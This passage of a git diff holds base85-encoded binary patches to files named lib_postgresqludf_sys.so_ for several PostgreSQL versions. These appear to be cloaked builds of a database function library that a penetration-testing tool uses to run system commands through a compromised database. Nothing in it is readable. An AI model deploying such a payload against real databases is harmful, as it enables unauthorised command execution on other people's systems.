z+CF6?o2k1cX;4>2P*V;!m64Nqj#q#mZWEi!!vOdZ5zEmr8 z6RoxHx(%DhP1Y^r@;zS4Y0@zEnWKi@UH2rILARcFKLylHX-x{n%jr zbngcIu20|~TeQ1eQo4e!5SX#}1I{4(Y6}U}O)ge`Gk#9oyOg7W+z5LNu-+&_Bhw}U z*A_Ll9Q3VoiKmK2gTIpHcXP5GQs^%o(}lH2CKiex#%`Hp5A5qTsc0yMak zG0k6zc}*2U2I{96jnx1;cYFeh{aD42Wr|SI&c<>}`ok4aM=J!bC)?RmVC;h{n!>=4hmTkq0GN}2L?pK_$d}zGL{6$19PIF?J_*eJM$OH z(aQVwhqH5{Ba?{)$6IiU;Cpft3joK<`PS7}T>m0sDDF)4t=RY=bAAHD#;Dfkb9D2O zR;H0e;WskbcJu2U+F(Q5Wne)mOuY$6$#X3n=r}2QmzOueRE%!`oM?i?^a)44}B`>aTywF4^1T$a~L_< zldhGmg}3NCn(=*&SCyOuCRcuGgC{n&ybT+Ux+1J)hlaG3+W3rqKx***Yh9BHaFt(u zzCDdEU!aM(cK1<=f+Qnf02|eFk{~vDW=k=uq@8h`!wHba<1UY<-&AJ?lKV!B_el7q zTokLg|2#DLqZTgHIM`4y?4v;FH3Q$l)tZNm1B&5RBM_rwWsHBVa_7s3-{)E(8!idI zcI0=#u%0O;g1O*Jt%~s&ip~k`bMGh)G!bQ^S(1b08-=sY>K+c8Wc%MACm%ikV4lrt zBdC{1-UtvT`Y_fqEZyEDIIt-2^K2<`%ivwiIiW0b{tZLeLLrlZ$4_@GwMVg);-ZuP~&kHbBvbmr`{I z*x+wAnjpM`iPo&g#|h)lIw%;C$JYQF8r+(_I)g!}q34DO0Q2?snCGF{Z1v^*vzaog zIQ&^IeMOaKiB8Go@K|69xc9V4jSb010XM{;ZT-^RF^igTAzBrhrd-i&-;Um_F%VkQ z?|OSF+$zgC@iQLK53Nwfa4^x(fB|9rfHQY$n^Jh!@99RZ`;RsIWKVr8JWL^OQD2^<|nzWoOG|m8;u3iYA$~ynH0(F$!DMT2w=j*O6@>lTOhkK_ZCPf;()_{b}xT#LYiOnvJqDP59>!4)o0CHd7Yh7Df+ z2GW{7BO!xPc9;HJ&t+h}#IwVVi8yGGt`iZDiTzApLZqGkd@5@*-qSNMqZT$2SjL`}n)6b^@0Ua7dDZ>+ZH9 zQAX_og*N77Mm5x3g<@Q|B{{8CK&Ri$lR>2endjf6AjN`uaPfMq9NnJX60_PYL}r4> z0qjj735W-qU=Y2!h+D%8uDnH>iMzk6VTi+g zZ4=ckP(c@pokU;5dM^D0lReLP{vfEDuXstnMiGwy_mWHJp2FV{*%S~IbOr~=T(ESh zJphFCnE|R^(#XSfGYNk3-!i8V@de&XHPlczoIz_sZ~OkTJ|n~RRNBsa%|>zTQ6ku4 z=JGyl*Z4?Bnog68swoPE>FUn`i`J9zznf3@(^CDgy&UwBHe;Zh_WaA5WDU77C|m2) zwNkn~z3S%2oOkw758k(Rj_PxBa!+kg+Se#BHL>Yq3ibVgDdMvW zJ#>0zAE8k?oO|+KG3Rj5i|R_W?%d*GeV~dib$C+b7anpxnv4X(D}ascd7&47E$>QQ z3{K!Tq)vBqqCGN|{K6pY!Mq=GuOffxCj#57UL}*CsvwHTrKphlij=Y=lc(*$VEE!_`nS*yIOh_GkLKFc)jryExUb zfNn|O+Th{NpGI3`UR&Te43%QZp+C#ymO>}W`slmt`@%BS8*&W~TgjXY-iLbGab15> z)$MH`wR>SKL5!cx3$Y1|-Ns~s!+4S;hww?^!HB#ph$;PJR8yonXaAY9-9vH{nuY!+ zU8Pci-c5+(Mk7NXZM}eWa^E+z(?X_we#ZHr;g^98dLyY<{Bcj;XhV~Du#XDR2{7w%AOs*gCY9cCt_h*Y?kc+)`kn=&1t3&AlvIjdSKLbO0n~1IQz%+0_CW@_L97L;CQZzePc_` zTe%I<)U0R+Dt`qn)#w#p#03ekR>ApWOsfuivsIW26fT|#SS$-`-k^J?y%h$CS8u^s zQxB`A7ePrV>bE&|gT=57o-Yke*Fi<^n}a23hukmoSvr}bsX98(uB;-udQBF~>(u#l z>A%UZq0l0IhmQyd{2C&Yo;EqLd*uXy|<0uBD}-W&5Z>wf>4fGr#Ul^`4R=! zFCi~P)f~zo5^se^tDh&GtasVN6=%2pKdG1!@ofDrJp_0oZ0E{K-?&Ib@`UEcD&Iq*KLzADW2R+T#}~$QM$4mUjq#bye}R2 zPSQb%0A1kF%nU(!*I?u5BsI%Y2;|Q+zGZE@30Ch9LD*xYo291ff*{f5uBag>vV!O@x9qdR4n)%@V_bM*8%Z1FI#3~&CeL$t&SA;O4>f5bRcBArY;@ucvL(Ft%jZY zxC;y?MOS9M@pV<5kAU1u83ByQi{pOl;o=d27=DUwvNQiB+6#@4M}P?|WzpP}o%#j4 z9_R14pi|9N0NL-6%)O-X!6@r;Z7v6{jp;c&7=>cEJebVBORbM(W~F=ohb;+kfi50W z$Uf5|Pvc4vQ>X3H3^uL>WB39n9-%sw(>iJ0x8T>QHWi(%tFZYgJ10es(HHv=Cp<&P zmczAy(=^gnuThtEM|9Xm!Az{u+S(+~Vl#;R|>f z28GOioxn<=gw6m{r=HdPl=VNi6~d&q_kjoJ^NJ?mM1gQ~=Q!ku8c01Su*P~IQDAYj z(M*IP0N%=4CLW5_9U6apK8RYZ_DUp9;H~f6`Hfp~WqaXEI4*cL!!5tcsCS3bjKvEc zxRsaT*4-%6!W497hCh7pmBD98dlwTs&wMFQ52n&2&PCUjU)a$8>W{1wd5{b>FZ{v_ zL$j`G-+>ShJnw~c*({e(tel^3LYQVKvI9UX{UMS2YrlnkVXBHbg%S7=F8T56wDgD7 zSz=mtMT`wU)4+fNwE&}){+OAprtjxqm6V2tIIniYbRr^vp9Tu3G`S@s_gycJAXfP7 z9sdLYQP)}U9<21ujTtqyg_aK)GS&XY;>RdPr}yLeJC(qLZlAQh=(HF4;gZ+|BW#nH zRKjCR!2Yq{f2LBcfuon#IZLNCyC%^~-ag<6>VClP$cCr5^(=}PJ4JB95t$66`c!i> zx%n*J9CUaNA%^of>bVzd{8LAv-7QKjrq$%LV6f@f54|(E6RASm#T7D^ZqJp45#Y17y|XDopUebqsvD|q3gslvbx#F7X+Oh!RaaxY5)ucwihag; zpz4+?!|8^|#|?a>LFW4Lo+E4y;csl+(i*)%Qyfg9HQZIrN&5eN|3_qxGRVl{OSvzp zyHPn|+}>!%yQ&!-4uvj2ieT*1LMRT8`k{?>_`8J=K;KWu6}>2sy81$wNO#UR;+UhF zCg{;>qHNezUzE6h(ZL!T8M#bhdc|W$D;37{TEU$`fOrr;!fC!Pr6IAQMSn!krz;f#5^M*BpjV5@*~i;fK^KI zD>ZRfN^F|mmuCo3O2(gXzLbD}q9z+bxe}Sd%=fR~ZBWtlS?&!)RP$sn=mHzIqJD_d z%kabC0vkN3d59n=Uxg~K#8BA^&Nv4lvjx(hq;~Zu&%O-whOK!b-uGpQxO*Mmzk8987?}+pq)i3nqkAfr6^JW8adB ztrs*-?+?rcEp)qHI)cK)zs}{#Xvrm7oS*m)n9~wTDo4U(<}|Kaj%wUwqSTg-aC*o@ j6tsND0OEc&r;`j7NWE$aSzleOTe77apD58fwwKq{lGbDx literal 2729 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

H1!r1+m?3#s`;?jG3 zEBOB4fE+1$q0*I$o$<(cuD~?>!QM4F83Aod4Y%^i9I4oAALy`6zZ&rs=TEaV(z-$) zofS@V+De|Z>up1FdVo|WeWCzX0(WGWG$ zohb!FTO{<31ZZe9$o%&^D&MY~|H7Kp^H>m0!q>)1&)dNKuqMr6h&U_g_NN$&S zQ>qwZR?v^~L+q&arU!_T(d9LlY?pls!S#)&ySJt^y7wg%WP=#H0o6YA(3n_GaJ$?y zjaRMYi+G)0(W&r~HC?W9-KJ#`hazz)zZnKHG+KuMd8x+@x7vqJShQv!82$}5EAze4 z6$>}vAf$P(riX-@MPd#!X*>bM=RW(c>X<>@Ip&Q#K#I8NRDD-mfI9|WCd$RLYRt18 zvjin1HoZIt!KGzxY-3LWIg^WI*gTb_}sRQOMF93+A9BQ z7X0col1>^4SQRtbz}Kz>3Zgw5tSF{$(Pqx5^Yl-b3az*bGf!l?gy?nr|7w%GG<;}# z+zZ^K=<0ybg@1H$a`jFZIxbaH7v2U&2s~?gZ@yQ7InG?0N}5p=Ps=LDrNL&zBCwf_ KT9-wMP0uo9_$%K4 diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ index ab7e7456223998a64d11067c853ddcfb8244faca..a1ca1cc710b7c75902c3ebc50d33d9f241ba670c 100644 GIT binary patch literal 2652 zcmV-i3ZwN8?v`#yJQ|^N>_Ns`lr173bSFN+?_5N4dU_F&Ktno6QSg#XS?q>U+$v!) z1hq=m8zkZtQ;Y*V}_JusmILi0&;WOO`4rvS2>o;X_627Vham(%vM}kR^ zObADtg6E|FCrh+5sT=D`mF>-|?WW7Z4{G)n&pOQgu)L;g&iJzpwr!T;)p`Qp_iI;kMe}z{LaPKaGJV^JEAXW2zb?s}ruK z=m?g(JIrn83!`q06aipGQ3Y+r?aa{U{IUAP^v#BraP2@t|8A{rvwmS`G(!?sHVwXQ zE;#%_e*q(Ram~qY%f?41!4qWpqnExn5&`+A_=!k(Oh0*I9*fg zs-*fpw@IiZCABZ&A$?7%c7{YQoWgxs-IVd7N&1kY{NUj5((@r_tRPBESj-$j z=rGiBc%NbM&+fKXN7{$RnpkBC9N`9zp9o=NNp&Jqo|#hdkK8Z{5r+AZy|iTCPLU)@ za?Hq0FI2`r3)wyP0U|3sXo~4T?Ly@p7e66Ui!-=zk@3%f;{~qzBgos-8DD@(6Sujs zq20zFKx|aI^oAvjwc|;{ukU6D&}RoP&2gyJtP(s&LuCVZ!#;d$K+YIkW0|^3GyJni zNGd;Jt)bfjt!-V zp>qd%K0nck$Xejdx zf{}9j8&u@mK=0iN{09`X!4HiL_QvKILhrCy-daj?jF8v^ z4)p;fL*u(1(+=L|pHoyY6fTeN>lrnB-XP&tfoQs5q1LbO8>&57w$c0tXfa;07A_NX zL4K_TLyi(tfh9xq6<(_cOw#*V!{YDv^taR}TnDWJ_P`J03xwn4MMb7&hp({E0e@m6 z8e!(EBPKh42c!ii=_o$3Z)nQD2i&NvKO*ExGe8l^m)_wVWq=oVtjhb;B5>EO`2AOD)R>I798J)mt@0E+Vp=f3z?&Eh$v(n9bl);*Y$JU|o6lGXEbtke`KLsC zB;A10#8^#Tr}L-UhJ^Qjq2)@>g_=zW}RKo0mGJVZ}I&-e0ujG8$~k30m#A`d zOhuuTX+2?rlZ0q*<91hRo^n|k4?5GH3^ zDN$(P8{gbcPly$|K&eUr#HxKA(&2F~GWM7_pta5`E=2UhcdHv~Rfa$hxFU6`Et zSk5OUYq>PwscK>oiT}Q{LICZr(d#{GF|sNy$*9?V(9*F^%eWwV>#fh-wLDPMa|^%j zjy-}--(uUZ=2XA;_mw>2AQf?F^+fW&trhpf-oQ(xDAO4&$JD>}pu(9mwbENAAjf>12lNc3%k5`Lf1aWN z$rH)Ljajb`%G}SDI(X1Pnc@L9fdfN$q-;4gJAe5yJ?*0^vHP_jL%~@m7u$0LZ@1a@ z6DkF;JJCj{siOL*0VZk`Zyht0{7b~C<-I@eeWK|bMyrasPY7sRj~;kzVveDdZ0&(e zsBs!2IhaBEkV4EqkeTq1|OuJ)6RK69!s^l2Wb literal 2652 zcmV-i3ZwNss?rK?Iy;jk_cZxjn+RMjFk@Qg>3w!0VGk~rPi91V6}0wiU(K`t$6sDH z3y?JAUtoqZRjn~?_<&Q}apK5ivcXvEKI_Gx`bOdp0Zet~uX6!b6rY$>YQE75NT)ZV z2uvfqgvOSxJU)vwraqN;(W$A7>xcQ16d%bEz#p>D^!UO|$k~Bhtr)50+FyLqp&~w( zgZN^5eZw)Dr>rcE6xHx!M0@s|=rpDM3c+SqrSiV`#^f=zB>27|{6TgkC+>a&tumbV z^L?qjH0cx7Pv;7%5+G6(N^nxa;_0r{xb>dn^6a$7YnXpT@JrKN_c{eYGGZVGEqH-y zAsvEqJ4HuOckKH=(6e|T&Ndp$=hNB{6d=pDjRmn}Sb27uP7)A+6b)YUy>l7eXD*;h zyzZz%U_A4mYNw^GEup_q|G~R1xZ{|8ED`G1rr=*M$*sjd3tq9bIedsr-gzKVd>J>) ztcA#LtUQ+^Dv(joWjQI0aHn>Ehqppr(y@<_4Zie+_?9o>4x~bfap4ZppZe`3HiDZp zoGJ+riD+NDkA3MQ*CS`lAkI4#vG8EE6>_Z{Q`YM6*dZ*sromg-L9|+X zHi)chDRuM_5Uc|64hK~aEY6K*>tokU3`!nWgcim^)wQdqz; zddf%VR$x!yK6^-3^ue$1KPdm7I=eCy(j_GaFYQA$`U*Px(_`Lm5NnZSPzU~ED_}Eay_XLmzU(ICX;#?QzAF6%3u@316 z68bB<7IN2v*mhIaX6GqX+G&6~&Y#uxi~jm|U(Ctjht^L-+pWGBAhLL5H>uU%1G*a6cAnjM8_uJh5|U+!6cu<*`Sb3|da84GPj z1v<$hMXw+NnoxZ68hh0>2$r9I#lzjE@51XKQzFwavV?2I4W-evUND(qh>FhQMLPxr z96;3iI8y|82!VSPt!!GAX-W91IZ>+I3N3*7t&p7)PlZ@z_ILnwz7j z3v+s;kTeDY8-yGDX;{gr-NY>V)G|b~P9P1~fepvu@|Ewr5ZdH~u0Sz9JAq#Y|2R25 zUD0&(>FUgPx`atcjGGyc%xuQ1$q*EZC!mQ9+q=7_75Lh`thqpO{in8wv!|2LRB50Jfl(Pa)_mX$9l0FnL;g!o`V2g* zW;bfr5^R<_pLH`2c!%m_Gpaxz=AjHS?}ugu`Q!eyYr01KhObCUaN8i}K@4|T_kDr7 zJlc*hRI)pl1CKlnTZo0l1vZ>^L>S`uv-t1H&>X75Cp9e0o$!sN9G)Z9iC3-}rnGYA zXLjYZ_wgT~kiNDo*16N@N{@qgzMF3>Ab23&$T|A?Zb4-JY}JG)X=_8wl|8Alpz;*R zp=n0Q1v}Y?8KDa_9!VA(Pl!7D3le9#D;<^>Q87C)+L9wMPzNe8b-?R4fLi{iz$EP? z1;N>Rh7yd1MezIr?E5pJ8^-cv#`FT}N*V?nK)imidg

H1!r1+m?3#s`;?jG3 zEBOB4fE+1$q0*I$o$<(cuD~?>!QM4F83Aod4Y%^i9I4oAALy`6zZ&rs=TEaV(z-$) zofS@V+De|Z>up1FdVo|WeWCzX0(WGWG$ zohb!FTO{<31ZZe9$o%&^D&MY~|H7Kp^H>m0!q>)1&)dNKuqMr6h&U_g_NN$&S zQ>qwZR?v^~L+q&arU!_T(d9LlY?pls!S#)&ySJt^y7wg%WP=#H0o6YA(3n_GaJ$?y zjaRMYi+G)0(W&r~HC?W9-KJ#`hazz)zZnKHG+KuMd8x+@x7vqJShQv!82$}5EAze4 z6$>}vAf$P(riX-@MPd#!X*>bM=RW(c>X<>@Ip&Q#K#I8NRDD-mfI9|WCd$RLYRt18 zvjin1HoZIt!KGzxY-3LWIg^WI*gTb_}sRQOMF93+A9BQ z7X0col1>^4SQRtbz}Kz>3Zgw5tSF{$(Pqx5^Yl-b3az*bGf!l?gy?nr|7w%GG<;}# z+zZ^K=<0ybg@1H$a`jFZIxbaH7v2U&2s~?gZ@yQ7InG?0N}5p=Ps=LDrNL&zBCwf_ KT9-wQUC%vMgDds` diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ index 5314a0a3886015fb7fdd48b8191d1b34107d82d3..0d2f0bc0a530479d3cd59ff98d319eb94bc3857c 100644 GIT binary patch literal 2652 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 